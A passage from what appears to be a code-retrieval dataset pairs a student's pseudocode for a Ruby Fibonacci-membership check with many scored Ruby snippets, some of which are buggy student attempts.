+ context.right_nodes,\n context.changed?)))\n end\n end", "title": "" }, { "docid": "e3a501a4fd13ab92c18993c9279e9d72", "score": "0.56349134", "text": "def numeric_relations\n left = rand(-100..100)\n left += rand() if (rand() > 0.5)\n\n right = rand(-100..100)\n right += rand() if (rand() > 0.5)\n\n op = %w{< <= == >= > !=}.sample\n\n expectation = left.send(op, right) ? 1 : []\n assert_exec [op.k, left, right], expectation\n\n expectation = right.send(op, left) ? 1 : []\n assert_exec [op.k, right, left], expectation\n end", "title": "" }, { "docid": "facde1d7c2c5cb8ba45cf4a7640ee2ee", "score": "0.5632718", "text": "def rotate_left\n return unless right\n\n me = RedBlackTree.new(value, color, deleted, left, right)\n\n x = me.right\n me.right = x.left\n x.left = me\n\n copy x\n end", "title": "" }, { "docid": "a132c6606d77d768ebc5b434d6c1cf3f", "score": "0.56300735", "text": "def get_node_pos(node_label)\n left_tree\n end", "title": "" } ]
564db79c3505c40071d5f4281d27f4f4
This challenge took me [] hours. Pseudocode =begin input: an integer output:a boolean steps: sets the integer as the max run fibonacci formula while the number is lesser than max if the integer ever equals a number in the sequence return true, otherwise return false =end Initial Solution
[ { "docid": "cca6cf2a7ee43a0741b00e0f96648514", "score": "0.7152287", "text": "def is_fibonacci?(num)\n array = [0, 1, 1]\n current = 0\n while current <= num\n array << array[array.length - 1] + array[array.length - 2]\n current = array[array.length - 1]\n end\n if array.include?(num)\n p true\n else\n p false\n end\nend", "title": "" } ]
[ { "docid": "252db74dc60149be4cf5d5dff9513b4e", "score": "0.80260265", "text": "def is_fibonacci?(num)\n sequence = [0, 1]\n while num > sequence.max\n x,y=sequence.pop(2)\n#sequence .pop(2) return and array of two values so I set x and y to be equal to those values respectively.\n sequence.push(x)\n sequence.push(y)\n sequence.push(x + y)\n end\n\n if num == sequence.max\n return true\n else\n return false\nend\nend", "title": "" }, { "docid": "d83835413f8e3b372d8f14b6411e9f17", "score": "0.7767073", "text": "def is_fibonacci?(num)\n n, m = 1, 1\n if num < 1\n return false\n else\n until m >= num\n n, m = m, n + m\n end\n return m == num\n end\nend", "title": "" }, { "docid": "d9b2668a3894103b36ca9a1a6b55111b", "score": "0.7749832", "text": "def is_fibonacci?(num)\n fib_array = [1, 1]\n a = 0\n b = 1\n while fib_array.max <= num\n if a > b then b = b += a\n fib_array.push(b)\n else a = a += b\n fib_array.push(a)\n end\n end\n puts fib_array.include?(num)\nend", "title": "" }, { "docid": "83b69de5e2d3eece7ccd9037eaf43da8", "score": "0.7717169", "text": "def is_fibonacci?(num)\n fib_array = [1,1]\n solution = 0;\n while (solution == 0)\n new_num = fib_array[-2] + fib_array[-1]\n fib_array << new_num\n if (fib_array[-1]==num)\n solution = num;\n return true\n elsif (fib_array[-1]>num)\n return false\n end\n end\nend", "title": "" }, { "docid": "05bc5a576623329ba60f38b2914a6b57", "score": "0.76346755", "text": "def is_fibonacci?(num)\n if num < 0\n return false\n elsif num < 4\n return true\n else\n n_2 = 2\n n_1 = 3\n \n while n_1 + n_2 <= num \n if num == n_1 + n_2\n return true\n else\n n = n_1 + n_2\n n_2 = n_1\n n_1 = n\n end\n end \n return false\n end\nend", "title": "" }, { "docid": "44575bb87f2fbb70e896c27bbbdfe73e", "score": "0.76311797", "text": "def fibonaccis(a=0, b=1, max)\n puts a\n if a < max\n fibonaccis(b, a+b, max)\n end\nend", "title": "" }, { "docid": "92495f53f7b59a0e272e88cbe4ecef90", "score": "0.7628805", "text": "def is_fibonacci?(num)\n \tarr=[0,1]\n \twhile num>arr[-1]\n \tarr << arr[-2]+arr[-1]\n end\n \tif num == arr[-1]\n \t\treturn true\n end\nend", "title": "" }, { "docid": "a16d68c5444f9daa8ef0f6eef447d707", "score": "0.7603135", "text": "def fib(val)\n val.times do |x| \n if x == 0 then $sequence << 0\n elsif x == 1 then $sequence << 1\n else $sequence << $sequence.last(2).reduce(:+)\n if $sequence.last.to_s.size == 1000 then return true\n end\n end\n end\n return false\nend", "title": "" }, { "docid": "3156113b1b50b81eae0e3e2c5aa99b06", "score": "0.7599773", "text": "def is_fibonacci?(num)\n f_small = 0\n f_large = 1\n while f_small < num\n temp = f_large\n f_large = f_small + f_large\n f_small = temp\n end\n f_small == num ? true : false\nend", "title": "" }, { "docid": "587d57711c07bebf7e54695701128c3d", "score": "0.75932974", "text": "def is_fibonacci?(i)\n a = 0; b = 1\n until b >= i\n c = b; b = b + a; a = c\n end\n i == b\nend", "title": "" }, { "docid": "136de744ddbf2c8ee9bf8ef8542a5a58", "score": "0.75860053", "text": "def is_fibonacci?(num)\n\tfibonacci_sequence = [0,1]\n\tuntil fibonacci_sequence[-1] >= num\n\tfibonacci_sequence << fibonacci_sequence[-1]+fibonacci_sequence[-2]\n\tend\n\tfibonacci_sequence.include?(num)\nend", "title": "" }, { "docid": "1ad1786ff981974ef8b40505f29a84da", "score": "0.75623226", "text": "def is_fibonacci?(num)\narr=[0,1,1,2,3,5,8,13,21,34,55,89,144,233,377,610,987,1597,2584,4181,6765,10946]\n x=0\n while num<arr[x]\n \treturn x+=1\nend\n\treturn true if arr[x-1]==arr[x-2]+arr[x-3]\nend", "title": "" }, { "docid": "4a1de016bd9efb92729136aee0df3d8c", "score": "0.75605047", "text": "def is_fibonacci?(num)\nfn, f1, f2 = 0, 1, 1\nwhile fn != num\n return false if fn > num\n fn = f1 + f2\n f2, f1 = f1, fn\n end\n true\nend", "title": "" }, { "docid": "eca304f157e4ae2c3909eb78ce6abbf7", "score": "0.7551402", "text": "def is_fibonacci?(num)\n prev_num = 0\n fib_num = 1\n while fib_num < num\n new_prev_num = fib_num\n fib_num = fib_num + prev_num\n prev_num = new_prev_num\n end\n if fib_num == num\n return true\n elsif num == 0\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "29bb052360feff4c0dfcc726284bd9a0", "score": "0.75505257", "text": "def is_fibonacci?(i) \n fib=[0,1]\n while fib.max <= i\n fib.length.times do |n|\n fib[0] = fib[n] + fib[n-1]\n end\n fib = fib.push(fib[0])\n end\n fib.include?(i)\nend", "title": "" }, { "docid": "e0ce39cc9e963f4ad5cdcca514fa65cc", "score": "0.75394714", "text": "def is_fibonacci?(num, fibonacci = [0,1]) #thanks Hing Huynh for the blog on the last 2 solutions\n fibonacci.last < num ? is_fibonacci?(num, fibonacci << fibonacci[-1] + fibonacci[-2]) : num == fibonacci.last\nend", "title": "" }, { "docid": "09599da1a1a636412b5609bd7e814dfd", "score": "0.7525929", "text": "def is_fib_num?(num)\n fib_array = [1, 1]\n a = 0\n b = 1\n while fib_array.max <= num\n if a > b then b = b += a\n fib_array.push(b)\n else a = a += b\n fib_array.push(a)\n end\n end\n puts fib_array.include?(num)\nend", "title": "" }, { "docid": "b348f33b144a04c92a077eac73cb8df7", "score": "0.75219893", "text": "def is_fibonacci?(num)\n\tfib_sequence = [0] # array to hold all fib numbers until last number is greater than or equal to num argument\n\tnum_to_add =[1, 1] \n\n\tuntil fib_sequence[-1] >= num\t\n\t\tnum_to_add << num_to_add[0] + num_to_add[1]\n\t\tfib_sequence << num_to_add.shift\n\tend\n\t\n\tfib_sequence.include?(num)\nend", "title": "" }, { "docid": "75780bc509ea15cb3d9955e18c0e94ea", "score": "0.75176895", "text": "def is_fibonacci?(num)\n fib = [0,1]\n\n while fib[-1] < num\n fib << fib[-1] + fib[-2]\n end\n\n\n fib[-1] == num ? true: false\n\nend", "title": "" }, { "docid": "7f90f28c0bd8bd08c468b0b4fab7ac9f", "score": "0.7517406", "text": "def is_fibonacci?(num)\n\nfib = [1,1]\n\na = 1\n\nwhile(a<num)\n\na = fib[fib.length-1]+fib[fib.length-2]\nfib << a\n\n\nend\nif fib[fib.length-1] == num\n return true\nelse\n false\nend\nend", "title": "" }, { "docid": "d8b1a218303ae1d3d74179c30a0a15e1", "score": "0.7501424", "text": "def is_fibonacci?(num)\n\tif (5*(num**2)+4) == ((5*(num**2)+4)**0.5).to_i**2 then true\n\telsif (5*(num**2)-4) == ((5*(num**2)-4)**0.5).to_i**2 then true\n\telse false\n\tend\nend", "title": "" }, { "docid": "e26881c66bd6454a5f456814caac357d", "score": "0.74999326", "text": "def is_fibonacci?(num)\n array = [0, 1, 1]\n while array[-1] < num\n array.push(array[-1] + array[-2])\n end\n return ((array[-2] + array[-3]) == num)\nend", "title": "" }, { "docid": "427d434b57c7c1cd306ea1e2b54db547", "score": "0.7498531", "text": "def is_fibonacci?(num)\nsum = 0\nsum_fib = 1\n until sum_fib >= num\n sum_fib = sum_fib + sum\n sum = sum_fib - sum\n end\n\n if sum_fib == num\n return true\n else\n return false\n end\n\nend", "title": "" }, { "docid": "0594eacc3f32721a146f3b71aba11f9f", "score": "0.7486215", "text": "def is_fibonacci?(num)\n\tif num == 0\n\t\ttrue\n\telse\n\t\tnew_num = 0\n\t\tfirst_num = 0\n\t\tsecond_num = 1\n\t\tloop do\n\t\t\tnew_num = first_num + second_num\n\t\t\tif new_num < num\n\t\t\t\tfirst_num = second_num\n\t\t\t\tsecond_num = new_num\n\t\t\telse\n\t\t\t\tbreak\n\t\t\tend\n\t\tend\n\tend\n\treturn new_num == num\nend", "title": "" }, { "docid": "010dd1620c4608a3fd576798d558ca3f", "score": "0.7466", "text": "def is_fibonacci?(num)\n fib_array = [0, 1]\n while num > fib_array[-1]\n fib_array.push(fib_array[-1] + fib_array[-2])\n end\nreturn true if num == fib_array[-1]\nreturn false\nend", "title": "" }, { "docid": "a443eb609e98933739cd13f48f561c30", "score": "0.7462304", "text": "def is_fibonacci?(num)\n if num < 2\n num\n else\n is_fibonacci?(num-1) + is_fibonacci?(num-2)\n end\nend", "title": "" }, { "docid": "80e4a8ea6fb419de26e2f606f6d2710f", "score": "0.74573857", "text": "def is_fibonacci?(num) \n fib_seq = [0,1]\n while num > fib_seq.last \n fib_seq << fib_seq[-1] + fib_seq[-2] \n end\t \n fib_seq.include?(num) \nend", "title": "" }, { "docid": "131341b38ff5b521b60ecfd485d5502a", "score": "0.7444027", "text": "def is_fibonacci?(i)\n fibs = [0, 1]\n if (i != 0) && (i !=1 )\n while fibs.last < i\n fibs << fibs.inject {|x, y| x+y}\n fibs.shift\n if i == fibs.last\n return true\n end\n end\n return false\n else true\n end\nend", "title": "" }, { "docid": "d9b75c193f932576d15233216fe8f2bc", "score": "0.7439522", "text": "def is_fibonacci?(num)\n fib_arr = [0,1]\n \n\twhile fib_arr[-1] < num do\n\t\tfib_arr << fib_arr[-2]+fib_arr[-1]\n\tend\n\n\treturn true if num == fib_arr[-1]\n\treturn false\n\nend", "title": "" }, { "docid": "fe8f24ce37199d87b1fb5dd4d2b79666", "score": "0.7431827", "text": "def is_fibonacci?(num)\n fibs = [0,1]\n while num > fibs.last \n fibs << fibs[-1] + fibs[-2] \n end\n return fibs.include?(num)\n end", "title": "" }, { "docid": "1a3ae44cdc34fe1699c9a38adb987d7c", "score": "0.74281937", "text": "def is_fibonacci?(num)\n\n\tfirst_term = 0\n\tsecond_term = 1\n\ttotal = first_term + second_term\n\n\tif num < 0\n\t\treturn false\n\telsif num == 0 or num == 1\n\t\treturn true\n\telse \n\t\twhile num > total\n\t\t\tfirst_term = second_term\n\t\t\tsecond_term = total\n\t\t\ttotal = first_term + second_term\n\t\tend\n\t\tnum == total ? true : false\n\tend\nend", "title": "" }, { "docid": "133bc8917725f59eb34f66c6cf4c31cb", "score": "0.7423877", "text": "def is_fibonacci?(num)\n num == calculate_fibonacci(num)\nend", "title": "" }, { "docid": "e02384f6927e484d2dfbe83982d9e45e", "score": "0.74202734", "text": "def is_fibonacci?(num)\r\n n1 = 0\r\n n2 = 1\r\n\r\n while n2 < num\r\n n2 += n1\r\n n1 = n2 - n1\r\n end\r\n\r\n n2 == num || num == n1\r\nend", "title": "" }, { "docid": "91956e4de3a19d74668f9d193a978acb", "score": "0.741362", "text": "def fibonacci(maxNumber)\n ant,sig,sum,actual = 0 ,1 ,0 ,1\n while (sum <= maxNumber) do\n sum += actual if actual.even?\n actual = ant + sig\n ant = sig\n sig = actual\n end\n sum\nend", "title": "" }, { "docid": "690c171be0698660bb2225e50f8420e7", "score": "0.74119484", "text": "def fibonacci_test(number) \n numbers = [0, 1]\n while numbers[-1] < number\n next_value = numbers[-2] + numbers[-1]\n numbers << next_value\n end\n if numbers[-1] == number\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "e38d67a94730faa1b08b561856a409a9", "score": "0.7404999", "text": "def is_fibonacci?(num)\n fib1 = 0\n fib2 = 1\n while num > fib1\n x = fib1 + fib2\n fib1 = fib2\n fib2 = x\n end\n if num == fib1\n true\n else\n false\n end\nend", "title": "" }, { "docid": "678a1c5e525991a79088c4212aa566e0", "score": "0.7398671", "text": "def is_fibonacci?(num)\n array = [0]\n i = 0\n j = 1\n array << j\n\n until array[j] >= num\n array << array[i]+array[j]\n i += 1\n j += 1\n end\n\n if array[-1] == num\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "a583cae1469be6bb23b13806b7064d01", "score": "0.7393831", "text": "def is_fibonacci?(num, fibonacci = [0,1])\n fibonacci.last < num ? is_fibonacci?(num, fibonacci << fibonacci[-1] + fibonacci[-2]) : num == fibonacci.last\nend", "title": "" }, { "docid": "233fac8dcf5d30ef66d74515a3bfe6b7", "score": "0.7388978", "text": "def fibonacci?(integer)\n series = [0, 1]\n loop do\n series << series[series.length - 2] + series[series.length - 1]\n break if series.last >= integer\n end\n series.include?(integer)\nend", "title": "" }, { "docid": "7e200598655e055fbc533e1553852a64", "score": "0.73647845", "text": "def is_fibonacci?(num)\n if (num == 0) || (num == 1)\n return true\n end\n sum = 0\n x = 0\n y = 1\n while sum <= num\n sum = x + y\n x = y\n y = sum\n if sum == num\n return true\n end\n end\n false\nend", "title": "" }, { "docid": "46a0013631971fc656cfd3fc86bcbf9e", "score": "0.736207", "text": "def is_fibonacci?(num)\n fib = [0,1]\n while fib[-1] < num\n fib.push(fib[-1] + fib[-2])\n end\n fib[-1] == num\nend", "title": "" }, { "docid": "33de63ff0a94cab193e9cc68f962681b", "score": "0.7357356", "text": "def is_fibonacci?(num)\n\tx = 1\n\tarr = [0]\n\twhile x <= num\n\t\tarr << x\n\t\tarr2 = arr.last(2)\n\t\tx = arr2[0] + arr2[1]\n\t\tif x == num\n\t\t\treturn true\n\t\tend\n\tend\n\treturn false\nend", "title": "" }, { "docid": "5dc0da3afbfc6de12ad29d22f228a9d5", "score": "0.73541474", "text": "def is_fibonacci?(num)\n sum = 0\n x = 0\n y = 1\n while sum <= num\n return true if num == sum\n sum = x + y\n x = y\n y = sum\n end\n false\nend", "title": "" }, { "docid": "34bf6537aaba9a565e05b993fe77b5ef", "score": "0.73533577", "text": "def is_fibonacci?(num)\n\tfibonacci_1 = 0\n\tfibonacci_2 = 1\n\tfibonacci_next = fibonacci_1 + fibonacci_2\n\tif num == fibonacci_1 || num == fibonacci_2\n\t\treturn true\n\telse\n\t\twhile fibonacci_next <= num\n\t\t\tfibonacci_1 = fibonacci_2\n\t\t\tfibonacci_2 = fibonacci_next\n\t\t\tfibonacci_next = fibonacci_1 + fibonacci_2\n\t\t\tif fibonacci_next == num\n\t\t\t\treturn true\n\t\t\telsif fibonacci_next > num\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\tend\nend", "title": "" }, { "docid": "eb921c8a7d2ab8236a624a5289fe12f5", "score": "0.73414296", "text": "def is_fibonacci?(num)\n first_number = 0\n next_number = 1\n sum = 0\n fibonacci_numbers = []\n\n return true if num == 1\n\n while sum < num do\n sum = first_number + next_number\n fibonacci_numbers << sum\n first_number = next_number\n next_number = sum\n end\n \n if fibonacci_numbers[-1] == num\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "d52c73d51cb08e5b9b6764b09f535619", "score": "0.7341355", "text": "def is_fibonacci?(original_num)\n if is_square?(5*(original_num)**2 + 4) == true\n true\n elsif is_square?(5*(original_num)**2 - 4) == true\n true\n else\n false\n end\nend", "title": "" }, { "docid": "59419ec74ba35b2c479fb57bb759ca36", "score": "0.73378515", "text": "def is_fibonacci?(num)\n x = 1\n arr = [0]\n while x <= num\n arr << x\n arr2 = arr.last(2)\n x = arr2[0] + arr2[1]\n if x == num\n return true\n end\n end\n return false\nend", "title": "" }, { "docid": "3a7c1481758a4802ecb9c53495f5c106", "score": "0.73352355", "text": "def is_fibonacci?(num)\n\treturn 0 if num == 0\n\treturn 1 if num == 1\n\tis_fibonacci?(num-2) + is_fibonacci?(num-1)\nend", "title": "" }, { "docid": "40b6fe02c3df926be93fecf1c8a1731e", "score": "0.73313504", "text": "def is_fibonacci?(num)\n first, last = [1, 1]\n 1.upto(num) do\n return true if num == last\n first, last = [last, first + last]\n # return true if num == last\n end\n false\nend", "title": "" }, { "docid": "256c73ba952822a1255ad7321b5c0f4f", "score": "0.7329776", "text": "def is_fibonacci?(num)\n \n fib_array = [0, 1]\n \n return true if num == 0 || num == 1\n \n while num > fib_array.last do # Runs until the num has been checked throughout the seq\n \n x, y = fib_array.pop(2) # Remove the elements of the array and put them into variables.\n \n fib_array.push(y, x + y) # Push the new elements into the array while implementing the rules of fibonacci.\n \n end\n \n \n # Check to see if the number is part of the fib seq\n num == fib_array.last ? true : false\nend", "title": "" }, { "docid": "8bba3bde571292618209eb60836c78ea", "score": "0.732606", "text": "def is_fibonacci?(num)\n\tsequence = [0, 1]\n\tindex = 1\n\tuntil num <= sequence.last\n\t\tsequence.push(sequence[index - 1] + sequence[index])\n\t\tindex += 1\n\tend\n\treturn true if sequence.last == num\n\treturn false\nend", "title": "" }, { "docid": "d540062a1cb13dc50937c88cfaf90d29", "score": "0.73095953", "text": "def is_fibonacci?(num)\n n1=0\n n2=1\n fib=1\n while fib < num do\n fib = n1 + n2\n if fib == num\n return true\n end\n n1 = n2\n n2 = fib\n end\n return false\nend", "title": "" }, { "docid": "88728ec03bf45fdd08b7ed33ccdc5298", "score": "0.7306232", "text": "def is_fibonacci?(num)\n\ta, b, c = 0, 1, 0\n\twhile c <= num\n\t\tc = a + b\n\t\treturn true if c == num \n\t\ta, b = b, c\n\tend\n\treturn false\nend", "title": "" }, { "docid": "b57b22625116de24b63f4ad6ca2072e8", "score": "0.7292471", "text": "def is_fibonacci?(num)\n fib_arr = [0,1]\n i = 0\n until num <= fib_arr[i]\n fib_arr << fib_arr[i] + fib_arr[i + 1]\n i += 1\n end\n if fib_arr[i] == num\n true\n else\n false\n end\nend", "title": "" }, { "docid": "98cbba2e0ec41f96e0ba3241bda0de5d", "score": "0.72883266", "text": "def is_fibonacci?(num)\n\n\t\tfibonacci = [0,1]\n\twhile fibonacci.last <= num \n\t\tfibonacci << fibonacci.last(2).reduce(:+)\t\n\tend\n\n\tfibonacci.include?(num)\nend", "title": "" }, { "docid": "559e3bb55cec2ffc33787100840134bb", "score": "0.72860545", "text": "def is_fibonacci?(num)\n fib1, fib2 = 0, 1\n return true if num == 0\n\n while fib2 <= num\n return true if fib2 == num\n temp = fib2\n fib2 += fib1\n fib1 = temp\n end\n\n false\nend", "title": "" }, { "docid": "99b91f784014f6c1aeee115ac82840a6", "score": "0.72837806", "text": "def is_fib?(num)\n arr = [0,1]\n i = 0\n until arr.last >= num\n arr << arr[i] + arr[i+1]\n i += 1\n end\n arr.last == num ? true:false\nend", "title": "" }, { "docid": "c92956c796ebe81fc9697f08660453c6", "score": "0.7281868", "text": "def is_fibonacci?(num)\n\tfibonacci = [0,1]\n\twhile fibonacci[-1] <= num\n\t\tnext_number = fibonacci[-1] + fibonacci[-2]\n\t\tif next_number == num\n\t\t\treturn true \n\t\tend\n\t\tfibonacci << next_number\n\tend\n\treturn false\t\t\nend", "title": "" }, { "docid": "cfd4202e80d9ec6daed10ebde99989ee", "score": "0.7278496", "text": "def is_fibonacci?(num)\n\tfibonacci = [0,1]\n\twhile fibonacci.last <= num \n\t\tfibonacci << fibonacci.last(2).reduce(:+)\t\n\tend\n\n\tfibonacci.include?(num)\nend", "title": "" }, { "docid": "15bf700a1594e3aa7f77276fc8b984ae", "score": "0.72700363", "text": "def is_fibonacci?(num)\n i = 1\n output = [1, 1]\n\n while num >= output[i]\n output << ( output[i - 1] + output[i] )\n puts output\n if output.include? num\n return true\n end\n i += 1\n end\n return false\n\nend", "title": "" }, { "docid": "f8e09d99b690a43508404268de86dd4e", "score": "0.726695", "text": "def is_fibonacci?(num)\n fib = [0,1]\n while num > fib.last\n next_fib = fib[-1] + fib[-2]\n fib << next_fib\n end\n fib.include? num\nend", "title": "" }, { "docid": "3ac087e03ccb2e2c79a8d8d50edaf57b", "score": "0.7266072", "text": "def biggest_fibonacci(n)\n fib1 = 1\n fib2 = 1\n fib = fib1+fib2\n while fib <= n\n fib1 = fib2\n fib2 = fib\n\n if fib1 + fib2 > n\n break\n else\n fib = fib1 + fib\n end\n end\n fib\nend", "title": "" }, { "docid": "737a027d36a28e3ab3a6b73ecae5a39b", "score": "0.7265403", "text": "def is_fibonacci?(num)\n fibs = [0,1]\n while num > fibonacci_array.last \n fibs << fibs[-1] + fibs[-2] \n end\n return fibs.include?(num)\nend", "title": "" }, { "docid": "82fbe828839bbe457ddfb33d888409a4", "score": "0.726458", "text": "def fib_evens( max_val )\n # every 3rd value of fibonacci is even, starting with 2\n # considering only these, you can define the sequence thusly:\n x = [ 0, 2 ]\n while\n next_val = 4 * x[ -1 ] + x[ -2 ]\n return x[ 1..-1 ] if next_val > max_val\n x << next_val \n end\nend", "title": "" }, { "docid": "74b9d350e4a303fa908536846e8199d6", "score": "0.72601765", "text": "def is_fibonacci?(num)\n array = [0, 1]\n x = 1\n while x < num\n x = array[-1] + array[-2]\n array.push(x)\n end\n if array.include?(num)\n return true\n else return false\n end\nend", "title": "" }, { "docid": "fdb7bbe02b4dc1d362f7b820771a0d2c", "score": "0.72523177", "text": "def find_max_sum_in_fib_sequence(max)\n sum = 2\n term1 = 1\n term2 = 2\n term3 = term1 + term2\n\n while term2 < max\n sum += term3 if term3 % 2 == 0\n term1 = term2\n term2 = term3\n term3 = term1 + term2\n end\n\n puts sum\n\nend", "title": "" }, { "docid": "4cc0ced61d8865285e796c24d5aa836e", "score": "0.72502923", "text": "def is_fibonacci?(num)\n\ta = 0\n\tb = 1\n\tc = 0\n\tuntil a >= num || b >= num || c >= num\n\t\tc = a + b\n\t\ta = b + c\n\t\tb = c + a\n\tend\n\t([a, b, c].include? num) ? true : false\nend", "title": "" }, { "docid": "bc65f4f207b67221e37101cc0098dba7", "score": "0.7236319", "text": "def is_fibonacci?(num)\nfibonacci_numbers = [0,1]\n until fibonacci_numbers[-1] > num\n next_number = fibonacci_numbers[-2]+fibonacci_numbers[-1]\n fibonacci_numbers << next_number\n p fibonacci_numbers\n end\n if fibonacci_numbers.include?(num)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "8623e598aec2284250d7187c0bb23987", "score": "0.7233544", "text": "def fibonacci(test, previous, last)\n if previous == test\n return true\n elsif previous > test\n return false\n else\n fibonacci(test, last, (last + previous))\n end\nend", "title": "" }, { "docid": "2945e09967c3793764edcce3ffdb0789", "score": "0.7223203", "text": "def is_fibonacci?(num)\n\tcond_one = 5*num*num + 4\n\tcond_two = 5*num*num - 4\n\n\tsqrt_one = Math.sqrt(cond_one)\n\tsqrt_two = Math.sqrt(cond_two)\n\n\tint_one = sqrt_one.to_i\n\tint_two = sqrt_two.to_i\n\n\tif sqrt_one == int_one || sqrt_two == int_two\n\t\ttrue\n\telse\n\t\tfalse\n\tend\n\t\t \t \nend", "title": "" }, { "docid": "b225f341753f65e7ed4c16fd70f7d9d9", "score": "0.72158223", "text": "def is_fibonacci?(num)\n a=0, b=1, c=1\n while (c <= num)\n if c == num\n return true\n end\n a = b\n b = c\n c = a + b\n end\n return false\nend", "title": "" }, { "docid": "b225f341753f65e7ed4c16fd70f7d9d9", "score": "0.72158223", "text": "def is_fibonacci?(num)\n a=0, b=1, c=1\n while (c <= num)\n if c == num\n return true\n end\n a = b\n b = c\n c = a + b\n end\n return false\nend", "title": "" }, { "docid": "fb647a045ced6b7d3cad7bd160280aed", "score": "0.72099245", "text": "def find_fib(max)\r\n fib = [1,2]\r\n while fib[-1] <= max\r\n fib << fib[-1] + fib[-2]\r\n end\r\n\r\n fib.select { |num| num.even? }.reduce(:+)\r\nend", "title": "" }, { "docid": "5556003fa53a9ee0b4661e7ec8348327", "score": "0.7205994", "text": "def fib_checker?(num)\n\n if num < 0\n puts \"Does not compute negative numbers\"\n end\n\n var1, var2, var3 = 0, 1, 1\n while var3 <= num\n if var3 == num\n return true\n end\n var1 = var2\n var2 = var3\n var3 = var1 + var2\n end\n return false\nend", "title": "" }, { "docid": "8c789a4a5fdba176ffc882bacc4f072a", "score": "0.719447", "text": "def is_fibonacci?(num)\n fib = []\n result = 0\n count = 1\n while count < num\n fib << result += count\n fib << count += result\n end\n if fib.include?(num)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "377088478f8ffe9246ae70d0d74a43ba", "score": "0.71922815", "text": "def is_fibonacci?(number)\n i = 0\n arr = [0,1]\n if number == i || number == 1 \n return true\n else\n while i <= number\n i = arr[arr.length - 1] + arr[arr.length - 2]\n arr << i\n end \n end\n arr.include?(number) ? true : false\nend", "title": "" }, { "docid": "2e9ade09ec55af9a9685611c891ed586", "score": "0.7178908", "text": "def is_fibonacci? num\n fib_seq = [0,1]\n while num > fib_seq.last\n x,y = fib_seq.pop(2)\n fib_seq.push(x,y,x+y)\n end\n fib_seq.include? num\nend", "title": "" }, { "docid": "d96a403a4cd94925f398bf7c1bfc1063", "score": "0.7175957", "text": "def fib(a,b,max)\n\n if b < max\n\n b = fib(b,a+b,max)\n puts b\n return b\n\n end\n\n return b\n\nend", "title": "" }, { "docid": "a573c63f2429046ee37bf6babf65c1ea", "score": "0.71746784", "text": "def is_fibonacci?(num)\n fib_arr =[0,1]\n fib = fib_arr[-1]\n while fib<=num \n fib_arr.push(fib)\n fib += fib_arr[-2]\n end\n if fib_arr.include?(num)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "b74a9293b899b65d1bc727fe1a8b82f0", "score": "0.7165629", "text": "def is_fibonacci?(num)\n fib_array = [0,1]\n a = 0\n \n while num > fib_array[-1]\n sum = fib_array[a] + fib_array[a+1]\n fib_array << sum\n a += 1\n end\n\n fib_array.include?(num)\nend", "title": "" }, { "docid": "4b8e7ef0f82cde371ef9895ca5995af8", "score": "0.7126214", "text": "def fib(max)\n\ta = []\n\ti = 0\n\twhile true do\n\t\tif i == 0 || i == 1\n\t\t\ta[i] = 1\n\t\telse\n\t\t\tval = a[i-1] + a[i-2]\n\t\t\tbreak if val > max\n\t\t\ta[i] = val\n\t\tend\n\t\ti += 1\n\tend\n\ta[1..-1]\nend", "title": "" }, { "docid": "47d860678606501ddc847944a10e2808", "score": "0.7122873", "text": "def is_fibonacci?(n)\n\tx = 0\n\ty = 1\n\tz = 0\n\tfibseq = [0,1]\n\twhile z <= n\n\t\tz = x + y\n\t\tx = y + z\n\t\ty = z + x\n\t\tfibseq << z << x << y\n\tend\n\tif fibseq.include?(n)\n\t\t true\n\telse\n\t\t false\n\tend\nend", "title": "" }, { "docid": "f9c13a4c308ef55831b553fea9938bf4", "score": "0.7121078", "text": "def is_fibonacci?(num)\r\n\tfib_array = [0, 1]\r\n\tindex_counter = 0\r\n\tlast_result = 0\r\n\twhile last_result <= num do\r\n\t\tfib_array << fib_array[index_counter] + fib_array[index_counter+1]\r\n\t\tlast_result = fib_array[index_counter] + fib_array[index_counter+1]\r\n\t\tindex_counter += 1\r\n\tend\r\n\tfib_array.include?(num)\r\nend", "title": "" }, { "docid": "86b8b92dc504053ae6e914a161b04579", "score": "0.7120976", "text": "def is_fibonacci?(n, arr = [0,1])\n\tarr[-1] >= n ? arr.include?(n) : is_fibonacci?(n, arr << arr[-1] + arr[-2])\nend", "title": "" }, { "docid": "434ff1f1c106534a610f766995db097c", "score": "0.710547", "text": "def is_fibonacci?(num)\n\n fibonacci_nums = [0, 1]\n\n i = 1\n until fibonacci_nums[-1] > num\n fibonacci_nums.push(fibonacci_nums[i] + fibonacci_nums[i - 1])\n i += 1\n end\n\n fibonacci_nums.include?(num) ? true : false\n\nend", "title": "" }, { "docid": "d0548cb1098870abb098917585c9f7a2", "score": "0.7078692", "text": "def fibUpTo(max)\n one = 1\n two = 2\n sum = 2\n \n while (one + two < max) do\n three = one + two\n sum += three if three%2==0\n one = two\n two = three\n end\n sum\nend", "title": "" }, { "docid": "586549b04b0ea2bd981baffe41c68cf2", "score": "0.70768374", "text": "def is_fibonacci?(num)\n\tfib = [0,1]\n\twhile (fib.last < num)\n\t\tf_0, f_1 = fib.pop(2)\n\t\tfib.push(f_0, f_1, f_0 + f_1)\n\tend\n\treturn num == fib.last\nend", "title": "" }, { "docid": "089d763993b4a2503b49424056dbc5a0", "score": "0.70734364", "text": "def is_fibonacci?(num)\n\tfibonacci_array = [0, 1]\n\t\n\twhile num > fibonacci_array.last\n\t\tfirst_val, second_val = fibonacci_array.pop(2)\n\t\tfibonacci_array.push(first_val, second_val, first_val + second_val)\n\tend\n\n\tif num == fibonacci_array.last\n\t\treturn true\n\telsif num == 0\n\t\treturn true\n\telse\n\t\treturn false\n\tend\nend", "title": "" }, { "docid": "0a24387117670cf1de0bfc0983923c4a", "score": "0.70703685", "text": "def is_fibonacci?(num)\n fibArr = [1, 1]\n \n while fibNum < num do\n fibArr.push(fibArr[1] + fibArr.shift)}\n end\n \n if fibArr[1] == num\n return true\n end\n false\nend", "title": "" }, { "docid": "42fa40863c78379b8c3adcc037595ea8", "score": "0.70638597", "text": "def is_fibonacci?(num)\n\tcase_one = Math.sqrt(5 * num**2 + 4)\n\tcase_two = Math.sqrt(5 * num**2 - 4)\n\tif case_one.is_square == case_one || case_two.round == 